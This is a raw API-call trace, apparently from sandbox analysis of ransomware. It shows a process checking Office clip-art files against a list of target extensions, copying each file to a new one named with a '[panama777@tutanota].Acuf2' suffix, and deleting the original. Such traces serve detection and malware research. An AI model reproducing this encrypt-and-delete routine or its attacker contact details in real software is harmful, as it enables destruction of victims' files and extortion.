	[0255.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63
	[0255.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63
	[0255.845] lstrlenW (lpString=".doc") returned 4
	[0255.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.845] lstrlenW (lpString=".docx") returned 5
	[0255.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.845] lstrlenW (lpString=".pdf") returned 4
	[0255.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.845] lstrlenW (lpString=".xls") returned 4
	[0255.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.845] lstrlenW (lpString=".xlsx") returned 5
	[0255.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.845] lstrlenW (lpString=".ppt") returned 4
	[0255.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63
	[0255.846] lstrlenW (lpString=".zip") returned 4
	[0255.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.846] lstrlenW (lpString=".rar") returned 4
	[0255.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.846] lstrlenW (lpString=".bz2") returned 4
	[0255.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.846] lstrlenW (lpString=".7z") returned 3
	[0255.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63
	[0255.846] lstrlenW (lpString=".dbf") returned 4
	[0255.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63
	[0255.846] lstrlenW (lpString=".1cd") returned 4
	[0255.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63
	[0255.846] lstrlenW (lpString=".jpg") returned 4
	[0255.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63
	[0255.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63
	[0255.846] lstrlenW (lpString=".doc") returned 4
	[0255.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.846] lstrlenW (lpString=".docx") returned 5
	[0255.846] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.846] lstrlenW (lpString=".pdf") returned 4
	[0255.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.846] lstrlenW (lpString=".xls") returned 4
	[0255.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.847] lstrlenW (lpString=".xlsx") returned 5
	[0255.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.847] lstrlenW (lpString=".ppt") returned 4
	[0255.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63
	[0255.847] lstrlenW (lpString=".zip") returned 4
	[0255.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.847] lstrlenW (lpString=".rar") returned 4
	[0255.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.847] lstrlenW (lpString=".bz2") returned 4
	[0255.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.847] lstrlenW (lpString=".7z") returned 3
	[0255.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63
	[0255.847] lstrlenW (lpString=".dbf") returned 4
	[0255.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63
	[0255.847] lstrlenW (lpString=".1cd") returned 4
	[0255.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63
	[0255.848] lstrlenW (lpString=".jpg") returned 4
	[0255.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.848] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.848] lstrlenW (lpString="BD07761_.WMF") returned 12
	[0255.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0255.889] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=26748) returned 1
	[0255.889] CloseHandle (hObject=0x2a4) returned 1
	[0255.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x20
	[0255.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0255.889] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.889] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0255.890] GetLastError () returned 0x0
	[0255.890] ReadFile (in: hFile=0x2a4, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x687c, lpOverlapped=0x0) returned 1
	[0255.906] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x6880, lpOverlapped=0x0) returned 1
	[0255.908] ReadFile (in: hFile=0x2a4, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.908] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.908] SetEndOfFile (hFile=0x35c) returned 1
	[0255.915] CloseHandle (hObject=0x35c) returned 1
	[0255.916] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.917] SetEndOfFile (hFile=0x2a4) returned 1
	[0255.928] CloseHandle (hObject=0x2a4) returned 1
	[0255.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 1
	[0256.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63
	[0256.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63
	[0256.019] lstrlenW (lpString=".doc") returned 4
	[0256.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.019] lstrlenW (lpString=".docx") returned 5
	[0256.019] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.019] lstrlenW (lpString=".pdf") returned 4
	[0256.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.019] lstrlenW (lpString=".xls") returned 4
	[0256.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.019] lstrlenW (lpString=".xlsx") returned 5
	[0256.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.019] lstrlenW (lpString=".ppt") returned 4
	[0256.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63
	[0256.019] lstrlenW (lpString=".zip") returned 4
	[0256.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.019] lstrlenW (lpString=".rar") returned 4
	[0256.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.019] lstrlenW (lpString=".bz2") returned 4
	[0256.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.019] lstrlenW (lpString=".7z") returned 3
	[0256.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63
	[0256.019] lstrlenW (lpString=".dbf") returned 4
	[0256.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63
	[0256.019] lstrlenW (lpString=".1cd") returned 4
	[0256.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63
	[0256.019] lstrlenW (lpString=".jpg") returned 4
	[0256.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63
	[0256.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63
	[0256.020] lstrlenW (lpString=".doc") returned 4
	[0256.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.020] lstrlenW (lpString=".docx") returned 5
	[0256.020] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.020] lstrlenW (lpString=".pdf") returned 4
	[0256.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.020] lstrlenW (lpString=".xls") returned 4
	[0256.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.020] lstrlenW (lpString=".xlsx") returned 5
	[0256.020] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.020] lstrlenW (lpString=".ppt") returned 4
	[0256.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63
	[0256.020] lstrlenW (lpString=".zip") returned 4
	[0256.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.020] lstrlenW (lpString=".rar") returned 4
	[0256.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.020] lstrlenW (lpString=".bz2") returned 4
	[0256.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.020] lstrlenW (lpString=".7z") returned 3
	[0256.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63
	[0256.020] lstrlenW (lpString=".dbf") returned 4
	[0256.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63
	[0256.021] lstrlenW (lpString=".1cd") returned 4
	[0256.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63
	[0256.021] lstrlenW (lpString=".jpg") returned 4
	[0256.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.021] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.021] lstrlenW (lpString="BD08868_.WMF") returned 12
	[0256.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0256.110] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=40206) returned 1
	[0256.110] CloseHandle (hObject=0x358) returned 1
	[0256.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x20
	[0256.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0256.315] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.315] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0256.346] GetLastError () returned 0x0
	[0256.346] ReadFile (in: hFile=0x320, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x9d0e, lpOverlapped=0x0) returned 1
	[0256.415] WriteFile (in: hFile=0x338, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x9d10, lpOverlapped=0x0) returned 1
	[0256.416] ReadFile (in: hFile=0x320, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.417] WriteFile (in: hFile=0x338, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.417] SetEndOfFile (hFile=0x338) returned 1
	[0256.417] CloseHandle (hObject=0x338) returned 1
	[0256.417] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.417] SetEndOfFile (hFile=0x320) returned 1
	[0256.569] CloseHandle (hObject=0x320) returned 1
	[0256.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 1
	[0256.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63
	[0256.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63
	[0256.569] lstrlenW (lpString=".doc") returned 4
	[0256.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.570] lstrlenW (lpString=".docx") returned 5
	[0256.570] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.570] lstrlenW (lpString=".pdf") returned 4
	[0256.570] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.570] lstrlenW (lpString=".xls") returned 4
	[0256.570] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.570] lstrlenW (lpString=".xlsx") returned 5
	[0256.570] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.570] lstrlenW (lpString=".ppt") returned 4
	[0256.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63
	[0256.570] lstrlenW (lpString=".zip") returned 4
	[0256.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.570] lstrlenW (lpString=".rar") returned 4
	[0256.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.570] lstrlenW (lpString=".bz2") returned 4
	[0256.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.570] lstrlenW (lpString=".7z") returned 3
	[0256.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63
	[0256.570] lstrlenW (lpString=".dbf") returned 4
	[0256.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63
	[0256.570] lstrlenW (lpString=".1cd") returned 4
	[0256.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63
	[0256.570] lstrlenW (lpString=".jpg") returned 4
	[0256.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63
	[0256.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63
	[0256.571] lstrlenW (lpString=".doc") returned 4
	[0256.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.571] lstrlenW (lpString=".docx") returned 5
	[0256.571] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.571] lstrlenW (lpString=".pdf") returned 4
	[0256.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.571] lstrlenW (lpString=".xls") returned 4
	[0256.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.571] lstrlenW (lpString=".xlsx") returned 5
	[0256.571] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.571] lstrlenW (lpString=".ppt") returned 4
	[0256.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63
	[0256.571] lstrlenW (lpString=".zip") returned 4
	[0256.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.571] lstrlenW (lpString=".rar") returned 4
	[0256.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.571] lstrlenW (lpString=".bz2") returned 4
	[0256.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.571] lstrlenW (lpString=".7z") returned 3
	[0256.571] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63
	[0256.571] lstrlenW (lpString=".dbf") returned 4
	[0256.571] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63
	[0256.571] lstrlenW (lpString=".1cd") returned 4
	[0256.571] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63
	[0256.571] lstrlenW (lpString=".jpg") returned 4
	[0256.571] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.572] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.572] lstrlenW (lpString="BL00122_.WMF") returned 12
	[0256.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0256.572] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=10146) returned 1
	[0256.572] CloseHandle (hObject=0x320) returned 1
	[0256.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x20
	[0256.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0256.572] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.572] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0256.573] GetLastError () returned 0x0
	[0256.573] ReadFile (in: hFile=0x320, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x27a2, lpOverlapped=0x0) returned 1
	[0256.597] WriteFile (in: hFile=0x32c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x27b0, lpOverlapped=0x0) returned 1
	[0256.598] ReadFile (in: hFile=0x320, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.598] WriteFile (in: hFile=0x32c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.598] SetEndOfFile (hFile=0x32c) returned 1
	[0256.598] CloseHandle (hObject=0x32c) returned 1
	[0256.598] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.598] SetEndOfFile (hFile=0x320) returned 1
	[0256.607] CloseHandle (hObject=0x320) returned 1
	[0256.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 1
	[0256.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63
	[0256.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63
